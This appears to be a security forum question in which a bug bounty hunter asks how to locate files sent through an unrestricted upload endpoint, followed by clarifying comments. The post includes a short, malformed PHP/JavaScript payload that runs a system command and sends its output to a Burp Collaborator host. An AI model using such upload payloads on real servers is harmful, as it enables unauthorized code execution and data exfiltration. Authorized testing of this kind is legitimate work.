In a current bug bounty target I have found an unrestricted file upload, it just shoots whatever you give it through a multipart form, that being said I have full freedom of payloads to employ, how could I find the actual path it's going to and its new filename, I've tried uploading this php file in hopes the uploads were indexed by some sort of bot or even a human:

$pwd = system("pwd")

var pwd = "<?php echo $pwd ?>";
document.location='xxxxxxxxxxxxxxxxx.burpcollaborator.net/'+pwd+'.jpg' ;

Seeing now that nothing indexes the uploads, and I have no access to the files after they've been uploaded and they're just sitting on some server out there, it brings me back to my question, what could I inject to trace down where the file is without it being opened?

  • 1
    Is your question how to execute a file without executing it? – Vipul Nair Jul 3 '19 at 15:29
  • @VipulNair The question is basically "I uploaded a file. Where is it now?" – MechMK1 Jul 4 '19 at 9:34
  • @MechMK1 "what could I inject to trace down where the file is without it being opened"Doesnt this mean he is asking for code execution without actual code execution? – Vipul Nair Jul 4 '19 at 9:38
  • 1
    @VipulNair That assumes that OP knows that code execution is the only way to get this information. What I read from this question (which may or may not be correct), is that OP tried the example code, and it didn't work. Now OP is stuck, asking if there is a way to find out where files are located, if he is unable to execute the code that he uploaded without knowing the path. – MechMK1 Jul 4 '19 at 9:41

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.